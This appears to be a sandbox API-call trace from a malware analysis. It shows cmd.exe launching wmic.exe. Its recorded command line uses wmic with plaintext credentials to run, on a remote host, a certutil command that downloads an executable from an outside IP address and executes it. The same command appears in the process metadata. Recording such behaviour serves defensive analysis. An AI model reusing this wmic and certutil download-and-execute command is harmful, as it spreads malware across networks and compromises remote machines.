(_String1="wmic", _String2="RMDIR") returned 5 [0115.035] _wcsicmp (_String1="wmic", _String2="PATH") returned 7 [0115.035] _wcsicmp (_String1="wmic", _String2="GOTO") returned 16 [0115.035] _wcsicmp (_String1="wmic", _String2="SHIFT") returned 4 [0115.035] _wcsicmp (_String1="wmic", _String2="CLS") returned 20 [0115.035] _wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0115.035] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0115.035] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0115.035] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0115.035] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0115.035] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0115.035] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0115.035] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0115.036] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0115.036] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0115.036] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0115.036] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0115.036] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0115.036] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0115.036] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0115.036] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0115.036] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0115.036] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0115.036] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0115.036] _wcsicmp (_String1="wmic", _String2="FOR") returned 17 [0115.036] _wcsicmp (_String1="wmic", _String2="IF") returned 14 [0115.036] _wcsicmp (_String1="wmic", _String2="REM") returned 5 [0115.036] GetProcessHeap () returned 0x2d0000 [0115.036] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x210) returned 0x2e3330 [0115.036] GetProcessHeap () returned 0x2d0000 [0115.036] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x18e) returned 0x2e3548 [0115.036] _wcsnicmp (_String1="wmic", _String2="cmd ", _MaxCount=0x4) returned 20 [0115.036] GetProcessHeap () returned 0x2d0000 [0115.036] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x418) returned 0x2e42b8 [0115.036] SetErrorMode (uMode=0x0) returned 0x0 [0115.036] SetErrorMode (uMode=0x1) returned 0x0 [0115.036] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2e42c0, lpFilePart=0x22f3d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x22f3d8*="Desktop") returned 0x25 [0115.037] SetErrorMode (uMode=0x0) returned 0x1 [0115.037] GetProcessHeap () returned 0x2d0000 [0115.037] RtlReAllocateHeap (Heap=0x2d0000, Flags=0x0, Ptr=0x2e42b8, Size=0x5e) returned 0x2e42b8 [0115.037] GetProcessHeap () returned 0x2d0000 [0115.037] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e42b8) returned 0x5e [0115.037] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0115.037] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0115.037] GetProcessHeap () returned 0x2d0000 [0115.037] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x120) returned 0x2e4320 [0115.037] GetProcessHeap () returned 0x2d0000 [0115.037] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x238) returned 0x2e4448 [0115.043] RtlReAllocateHeap (Heap=0x2d0000, Flags=0x0, Ptr=0x2e4448, Size=0x122) returned 0x2e4448 [0115.043] GetProcessHeap () returned 0x2d0000 [0115.043] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e4448) returned 0x122 [0115.043] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aa50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0115.043] GetProcessHeap () returned 0x2d0000 [0115.043] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xe0) returned 0x2e36e0 [0115.043] RtlReAllocateHeap (Heap=0x2d0000, Flags=0x0, Ptr=0x2e36e0, Size=0x76) returned 0x2e36e0 [0115.043] GetProcessHeap () returned 0x2d0000 [0115.043] RtlSizeHeap (HeapHandle=0x2d0000, Flags=0x0, MemoryPointer=0x2e36e0) returned 0x76 [0115.043] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0115.043] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x22f154, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22f154) returned 0xffffffff [0115.044] GetLastError () returned 0x2 [0115.044] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wmic", fInfoLevelId=0x1, lpFindFileData=0x22f154, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22f154) returned 0xffffffff [0115.044] GetLastError () returned 0x2 [0115.044] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0115.044] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x22f154, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22f154) returned 0xffffffff [0115.044] GetLastError () returned 0x2 [0115.044] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\wmic", fInfoLevelId=0x1, lpFindFileData=0x22f154, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22f154) returned 0xffffffff [0115.044] GetLastError () returned 0x2 [0115.044] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0115.044] FindFirstFileExW (in: lpFileName="C:\\Windows\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x22f154, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22f154) returned 0xffffffff [0115.044] GetLastError () returned 0x2 [0115.045] FindFirstFileExW (in: lpFileName="C:\\Windows\\wmic", fInfoLevelId=0x1, lpFindFileData=0x22f154, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22f154) returned 0xffffffff [0115.045] GetLastError () returned 0x2 [0115.045] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0115.045] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\wmic.*", fInfoLevelId=0x1, lpFindFileData=0x22f154, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22f154) returned 0x2e3760 [0115.045] GetProcessHeap () returned 0x2d0000 [0115.045] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x14) returned 0x2e37a0 [0115.045] FindClose (in: hFindFile=0x2e3760 | out: hFindFile=0x2e3760) returned 1 [0115.045] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.COM", fInfoLevelId=0x1, lpFindFileData=0x22f154, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22f154) returned 0xffffffff [0115.045] GetLastError () returned 0x2 [0115.045] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.EXE", fInfoLevelId=0x1, lpFindFileData=0x22f154, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x22f154) returned 0x2e3760 [0115.045] GetProcessHeap () returned 0x2d0000 [0115.045] RtlReAllocateHeap (Heap=0x2d0000, Flags=0x0, Ptr=0x2e37a0, Size=0x4) returned 0x2e37a0 [0115.045] FindClose (in: hFindFile=0x2e3760 | out: hFindFile=0x2e3760) returned 1 [0115.045] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0115.045] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0115.045] GetConsoleTitleW (in: lpConsoleTitle=0x22f64c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0115.046] InitializeProcThreadAttributeList (in: lpAttributeList=0x22f4d4, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x22f59c | out: lpAttributeList=0x22f4d4, lpSize=0x22f59c) returned 1 [0115.046] UpdateProcThreadAttribute (in: lpAttributeList=0x22f4d4, dwFlags=0x0, Attribute=0x60001, lpValue=0x22f594, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x22f4d4, lpPreviousValue=0x0) returned 1 [0115.046] GetStartupInfoW (in: lpStartupInfo=0x22f490 | out: lpStartupInfo=0x22f490*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0115.046] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0x18) returned 0x2e37b0 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0115.046] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0115.047] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0115.047] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0115.047] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0115.047] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0115.047] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0115.047] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0115.047] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0115.047] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0115.047] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0115.047] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0115.047] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0115.047] GetProcessHeap () returned 0x2d0000 [0115.047] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e37b0 | out: hHeap=0x2d0000) returned 1 [0115.047] GetProcessHeap () returned 0x2d0000 [0115.047] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xa) returned 0x2e0110 [0115.047] lstrcmpW (lpString1="\\WMIC.exe", lpString2="\\XCOPY.EXE") returned -1 [0115.048] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\Wbem\\WMIC.exe", lpCommandLine="wmic /node:192.168.0.171 /user:5p5NrGJn0jS HALPmcxz /password:6mnH7CdKK process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x22f530*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="wmic /node:192.168.0.171 /user:5p5NrGJn0jS HALPmcxz /password:6mnH7CdKK process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x22f57c | out: lpCommandLine="wmic /node:192.168.0.171 /user:5p5NrGJn0jS HALPmcxz /password:6mnH7CdKK process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"", lpProcessInformation=0x22f57c*(hProcess=0x78, hThread=0x74, dwProcessId=0x690, dwThreadId=0x908)) returned 1 [0115.055] CloseHandle (hObject=0x74) returned 1 [0115.055] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0115.055] GetProcessHeap () returned 0x2d0000 [0115.055] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e58f8 | out: hHeap=0x2d0000) returned 1 [0115.055] GetEnvironmentStringsW () returned 0x2e47b8* [0115.055] GetProcessHeap () returned 0x2d0000 [0115.055] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xb36) returned 0x2e52f8 [0115.055] FreeEnvironmentStringsW (penv=0x2e47b8) returned 1 [0115.055] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0116.475] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x22f470 | out: lpExitCode=0x22f470*=0xac67) returned 1 [0116.475] CloseHandle (hObject=0x78) returned 1 [0116.475] _vsnwprintf (in: _Buffer=0x22f5b8, _BufferCount=0x13, _Format="%08X", _ArgList=0x22f47c | out: _Buffer="0000AC67") returned 8 [0116.475] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="0000AC67") returned 1 [0116.475] GetProcessHeap () returned 0x2d0000 [0116.475] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e52f8 | out: hHeap=0x2d0000) returned 1 [0116.475] GetEnvironmentStringsW () returned 0x2e47b8* [0116.475] GetProcessHeap () returned 0x2d0000 [0116.475] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xb5c) returned 0x2e5320 [0116.475] FreeEnvironmentStringsW (penv=0x2e47b8) returned 1 [0116.475] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0116.475] GetProcessHeap () returned 0x2d0000 [0116.475] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e5320 | out: hHeap=0x2d0000) returned 1 [0116.475] GetEnvironmentStringsW () returned 0x2e47b8* [0116.475] GetProcessHeap () returned 0x2d0000 [0116.475] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x8, Size=0xb5c) returned 0x2e5320 [0116.476] FreeEnvironmentStringsW (penv=0x2e47b8) returned 1 [0116.476] GetProcessHeap () returned 0x2d0000 [0116.476] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2e0110 | out: hHeap=0x2d0000) returned 1 [0116.476] DeleteProcThreadAttributeList (in: lpAttributeList=0x22f4d4 | out: lpAttributeList=0x22f4d4) [0116.476] _get_osfhandle (_FileHandle=1) returned 0x7 [0116.476] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0116.476] _get_osfhandle (_FileHandle=1) returned 0x7 [0116.476] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4aa441ac | out: lpMode=0x4aa441ac) returned 1 [0116.476] _get_osfhandle (_FileHandle=0) returned 0x3 [0116.476] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4aa441b0 | out: lpMode=0x4aa441b0) returned 1 [0116.476] SetConsoleInputExeNameW () returned 0x1 [0116.476] GetConsoleOutputCP () returned 0x1b5 [0116.476] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aa44260 | out: lpCPInfo=0x4aa44260) returned 1 [0116.476] SetThreadUILanguage (LangId=0x0) returned 0x409 [0116.477] exit (_Code=44135) Process: id = "19" image_name = "wmic.exe" filename = "c:\\windows\\syswow64\\wbem\\wmic.exe" page_root = "0x2ede4000" os_pid = "0x690" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "18" os_parent_pid = "0x124" cmd_line = "wmic /node:192.168.0.171 /user:5p5NrGJn0jS HALPmcxz /password:6mnH7CdKK process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 751 os_tid = 0x908 [0115.218] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19f844 | out: lpSystemTimeAsFileTime=0x19f844*(dwLowDateTime=0x9924bbc0, dwHighDateTime=0x1d5ca1f)) [0115.218] GetCurrentProcessId () returned 0x690 [0115.218] GetCurrentThreadId () returned 0x908 [0115.218] GetTickCount () returned 0x1164a59 [0115.218] QueryPerformanceCounter (in: lpPerformanceCount=0x19f83c | out: lpPerformanceCount=0x19f83c*=25632801076) returned 1 [0115.219] GetModuleHandleA (lpModuleName=0x0) returned 0xb90000 [0115.219] __set_app_type (_Type=0x1) [0115.219] __p__fmode () returned 0x76be31f4 [0115.219] __p__commode () returned 0x76be31fc [0115.219] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xbcdc15) returned 0x0 [0115.219] __wgetmainargs (in: _Argc=0xbdc5e8, _Argv=0xbdc5f0, _Env=0xbdc5ec, _DoWildCard=0, _StartInfo=0xbdc5fc | out: _Argc=0xbdc5e8, _Argv=0xbdc5f0, _Env=0xbdc5ec) returned 0 [0115.220] ??0CHString@@QAE@XZ () returned 0xbdc28c [0115.220] malloc (_Size=0x18) returned 0x2013b8 [0115.220] malloc (_Size=0x38) returned 0x2013d8 [0115.220] malloc (_Size=0x28) returned 0x2029b8 [0115.220] malloc (_Size=0x18) returned 0x2029e8 [0115.221] malloc (_Size=0x24) returned 0x202a08 [0115.221] malloc (_Size=0x18) returned 0x202a38 [0115.221] malloc (_Size=0x18) returned 0x202a58 [0115.221] ??0CHString@@QAE@XZ () returned 0xbdc594 [0115.221] malloc (_Size=0x18) returned 0x202a78 [0115.221] ?Empty@CHString@@QAEXXZ () returned 0x738a0504 [0115.221] SetConsoleCtrlHandler (HandlerRoutine=0xbc6b6f, Add=1) returned 1 [0115.221] _onexit (_Func=0xbd2f1f) returned 0xbd2f1f [0115.221] _onexit (_Func=0xbd2f2e) returned 0xbd2f2e [0115.221] _onexit (_Func=0xbd2f42) returned 0xbd2f42 [0115.221] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0115.221] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0115.222] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0115.416] CoCreateInstance (in: rclsid=0xb96c60*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xb96b90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0xbdc1b0 | out: ppv=0xbdc1b0*=0x980828) returned 0x0 [0115.426] GetCurrentProcess () returned 0xffffffff [0115.426] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x19f6ec | out: TokenHandle=0x19f6ec*=0x108) returned 1 [0115.426] GetTokenInformation (in: TokenHandle=0x108, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x19f6e8 | out: TokenInformation=0x0, ReturnLength=0x19f6e8) returned 0 [0115.426] malloc (_Size=0x118) returned 0x202c30 [0115.426] GetTokenInformation (in: TokenHandle=0x108, TokenInformationClass=0x3, TokenInformation=0x202c30, TokenInformationLength=0x118, ReturnLength=0x19f6e8 | out: TokenInformation=0x202c30, ReturnLength=0x19f6e8) returned 1 [0115.427] AdjustTokenPrivileges (in: TokenHandle=0x108, DisableAllPrivileges=0, NewState=0x202c30*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x8, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x9, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xa, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xc, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xd, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xe, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x11, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x12, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x13, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x16, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x17, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x18, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1c, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x1d, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x1e, Luid.HighPart=0, Attributes=0x3), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x22, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x23, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0115.427] free (_Block=0x202c30) [0115.427] CloseHandle (hObject=0x108) returned 1 [0115.427] malloc (_Size=0x40) returned 0x202c30 [0115.427] malloc (_Size=0x40) returned 0x202c78 [0115.427] malloc (_Size=0x40) returned 0x202cc0 [0115.427] malloc (_Size=0x20a) returned 0x202d08 [0115.427] GetSystemDirectoryW (in: lpBuffer=0x202d08, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0115.427] free (_Block=0x202d08) [0115.427] malloc (_Size=0xc) returned 0x202d08 [0115.427] malloc (_Size=0xc) returned 0x202d20 [0115.427] malloc (_Size=0xc) returned 0x202d38 [0115.427] SysStringLen (param_1="C:\\Windows\\system32") returned 0x13 [0115.427] SysStringLen (param_1="\\kernel32.dll") returned 0xd [0115.427] free (_Block=0x202d08) [0115.427] free (_Block=0x202d20) [0115.427] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\kernel32.dll") returned 0x76e10000 [0115.428] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0115.428] SetThreadUILanguage (LangId=0x0) returned 0x409 [0115.429] FreeLibrary (hLibModule=0x76e10000) returned 1 [0115.429] free (_Block=0x202d38) [0115.429] _vsnwprintf (in: _Buffer=0x202cc0, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x19f648 | out: _Buffer="ms_409") returned 6 [0115.429] malloc (_Size=0x20) returned 0x202d08 [0115.429] GetComputerNameW (in: lpBuffer=0x202d08, nSize=0x19f6a0 | out: lpBuffer="XDUWTFONO", nSize=0x19f6a0) returned 1 [0115.429] lstrlenW (lpString="XDUWTFONO") returned 9 [0115.429] malloc (_Size=0x14) returned 0x202d30 [0115.429] lstrlenW (lpString="XDUWTFONO") returned 9 [0115.429] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x19f6dc | out: lpNameBuffer=0x0, nSize=0x19f6dc) returned 0x0 [0115.430] GetLastError () returned 0xea [0115.430] malloc (_Size=0x40) returned 0x202d50 [0115.430] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x202d50, nSize=0x19f6dc | out: lpNameBuffer="XDUWTFONO\\5p5NrGJn0jS HALPmcxz", nSize=0x19f6dc) returned 0x1 [0115.430] lstrlenW (lpString="") returned 0 [0115.431] lstrlenW (lpString="XDUWTFONO") returned 9 [0115.431] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="", cchCount2=0) returned 3 [0115.432] lstrlenW (lpString=".") returned 1 [0115.432] lstrlenW (lpString="XDUWTFONO") returned 9 [0115.432] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2=".", cchCount2=1) returned 3 [0115.432] lstrlenW (lpString="LOCALHOST") returned 9 [0115.432] lstrlenW (lpString="XDUWTFONO") returned 9 [0115.432] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="LOCALHOST", cchCount2=9) returned 3 [0115.432] lstrlenW (lpString="XDUWTFONO") returned 9 [0115.432] lstrlenW (lpString="XDUWTFONO") returned 9 [0115.433] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="XDUWTFONO", cchCount2=9) returned 2 [0115.433] free (_Block=0x202d30) [0115.433] lstrlenW (lpString="XDUWTFONO") returned 9 [0115.433] malloc (_Size=0x14) returned 0x202d30 [0115.433] 